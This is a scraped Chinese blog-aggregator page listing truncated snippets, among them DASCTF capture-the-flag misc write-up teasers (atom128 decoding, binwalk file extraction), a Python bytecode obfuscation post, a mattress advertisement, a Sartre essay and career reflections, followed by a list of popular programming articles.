    整理一下自己的思路,存一下题(呜呜呜菜狗就是菜狗wp都看不懂 参考:七月大佬DASCTF Oct X 吉林工师 欢迎来到魔法世界- WP – 七月的摸鱼历程 魔法密文 Writeup| DASCTF ...

  2. DASCTF Oct X 吉林工师-欢迎来到魔法世界-misc-魔法少女的迷音(复现)

    打开需要密码解压,左边有提示,下面有个atom128 是加密方式 用bing搜索或者google搜索atom128,就能出来解码网站,,,别用百度.. 百度的搜索结果是这些玩意 复制上面密文进行解码 ...

  3. DASCTF Oct X 吉林工师_Misc_复现

    DASCTF Oct X 吉林工师_Misc_复现 WELCOME DASCTFxJlenu giveyourflag 闯入魔塔的魔法少女 魔法秘文 不可以色色 魔法信息 英语不好的魔法少女 彁彁 魔 ...

  4. 魔法密文 Writeup| DASCTF Oct X 吉林工师

    魔法秘文 这题思路还好吧--但是真的属于把我做吐了的那种--具体见后文 首先给了一个zip文件,解压出来一张魔法少女.png,通过binwalk分析出来隐藏了压缩包. 直接用binwalk -e分离发 ...

  5. Python3 字节码混淆

    文章目录 前言 什么是 pyc 文件? pyc 的版本号 pyc 的基本格式 pyc 混淆 解题 后记 前言 emmm,关于字节码混淆,最早碰到还是在校赛的时候,当时一脸懵逼,什么情况,怎么 unco ...

  6. 马来西亚的吉梦达乳胶床垫以纯天然的姿势震憾入驻中国

    在物质生活水平继续进步的环境之下,大家的生活观念也已有了很大的转变,即越来越注重商品的天然质量.如大家在挑选蔬果时会挑选绿色.天然成长而成的,在挑选护扶品时也会挑选纯植物的天然商品--可见" ...

  7. 萨特《禁闭》由他人来解读“他人即地狱”

    听到萨特的名声大家很快就会想起他的"存在主义哲学"和"他人即地狱"的思想.这周有机会阅读了萨特的戏剧<禁闭>将从故事内容.情节哲学,由他人来解读他人 ...

  8. 一个大四实习生从安卓小白到可以独自承担安卓和web前端的一年奋斗之旅

    努力吧老铁们! 这是一篇无关技术的文章,而是对自己整个大四一年工作经验的总结,记录着自己的学习方法和学习习惯,记录着自己从最开始的一个安卓小白,到现在可以独自承担原生安卓项目.记录着自己在工作之余学习 ...

  9. IT转互联网的转行经验

    全栈工程师开发手册 (作者:栾鹏) 架构系列文章 个人经历 选择大学专业 2010年,我20,手机还是2G网络,电脑还是window x,高中毕业,父母只是农村建筑工人,对社会工作完全没有认知.对以后 ...

最新文章

  1. python爬取学校题库_如何使用 Python 爬虫爬取牛客网 Java 题库?
  2. DIY Ruby CPU 分析——Part III
  3. Python 字符串按固定长度拆分
  4. multi task训练torch_Multi-task Learning的三个小知识
  5. 在 react 里写 vue3 ? 还写了自定义 hooks和 Hoc 构建了响应式 !
  6. Qt工作笔记-主界面往模式对话框emit信号,有注意的问题
  7. mes系统与Oracle对接,Oracle ERP系统与MES系统的接口分析及实现
  8. Swift3.0:Get/Post同步和异步请求
  9. 数据结构 实验五(银行叫号系统)
  10. 计算机视觉教程0-4:手推张正友标定法,详解图像去畸变(附代码)
  11. Ubuntu 16.04 配置 TITAN xp, CUDA 及 cuDNN
  12. 简单文本API的解析(一言)
  13. 记录下:订单模块初步完成
  14. Word2Vec模型——将文本转换成向量的方法
  15. 免费英语听力工具voscreen
  16. 以太坊数据结构与存储分析
  17. 【Opencv】Python+openCV实现全景图拼接(左右两张图片拼接成一张全景图)
  18. 数据库(mysql)表的五大约束条件
  19. VNC树莓派无法连接
  20. PSD文件误删了怎么恢复?教你三招

热门文章

  1. 给html网页加背景图
  2. 解决:coursera视频加载不出来无法观看
  3. Linux shell: ls命令详解
  4. ADB卸载OPPO浏览器
  5. 八进制在计算机系统中的应用场景,二进制、八进制、十进制、十六进制都能干什么? 十六进制计算器使用场景...
  6. Matlab 填补缺失数据
  7. 分布式存储HBASE原理学习
  8. C语言中fscanf()函数的用法介绍
  9. 神经网络与深度学习笔记(二)正向传播与反向传播
  10. HTML中如何为网页添加背景音乐